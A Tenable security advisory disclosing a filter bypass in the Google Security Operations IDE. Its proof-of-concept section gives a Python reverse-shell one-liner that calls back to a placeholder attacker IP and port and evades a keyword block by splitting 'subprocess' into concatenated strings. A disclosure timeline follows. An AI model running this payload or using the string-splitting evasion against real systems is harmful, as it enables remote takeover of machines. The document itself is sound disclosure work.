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Google Cloud Platform (GCP) Google Security Operations IDE Code Execution Protection Bypass

Medium

Synopsis

Tenable Research has identified and responsibly disclosed a safety mechanism bypass vulnerability in Google Security Operations. This flaw allowed an attacker to bypass built-in code execution security restrictions and run arbitrary code on the underlying infrastructure.

Google Security Operations' Integrated Development Environment (IDE) is designed to let users create and test code for custom integrations and jobs. To prevent malicious code execution, the platform restricts the use of dangerous functions like those in Python's os and subprocess modules.

However, this restriction could be bypassed using string concatenation. By splitting a restricted word, such as "subprocess", into smaller strings and then reassembling them at runtime (e.g., "sub" + "process"), an attacker could evade the static security filter. This allows execution of arbitrary system commands, including launching a reverse shell to take over the underlying machine.
 

Proof of Concept

  1. Access Google Security Operations → IDE
  2. Create a new job
  3. Optional: Copy the code from a current GoogleChronicleManager or another job
  4. Input the following command and change the IP and PORT to your server

import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<Attackers-ip>",<Attackers port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=__import__("sub"+"process").call(["/bin/sh","-i"])

  1. Press the play button and get the connection

 

Solution

Google has remediated the issue.

Disclosure Timeline

June 20, 2025 - Tenable reports the finding to Google and Google acknowledges
June 25, 2025 - Google assigns S2 severity
July 13, 2025 - Tenable asks for updates
Jul 17, 2025 - Google updates that the product team is working to resolve the issue
July 28, 2025 - Google provides an update regarding the fix
July 31, 2025 - Tenable agrees to delay the disclosure date to 11/02/2025
August 6, 2025 - Google awards a bounty
August 26, 2025 - Google updates that the expected timeline for the mitigation is 8 weeks
September 28, 2025 - Tenable asks for a status update
October 16, 2025 - Tenable requests clarification about the fix status as another issue with the same root cause has been fixed

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-51
Credit:
Liv Matan
Affected Products:
GCP Google Security Operations (SecOps)
Risk Factor:
Medium

Advisory Timeline

November 3, 2025 - Initial release.
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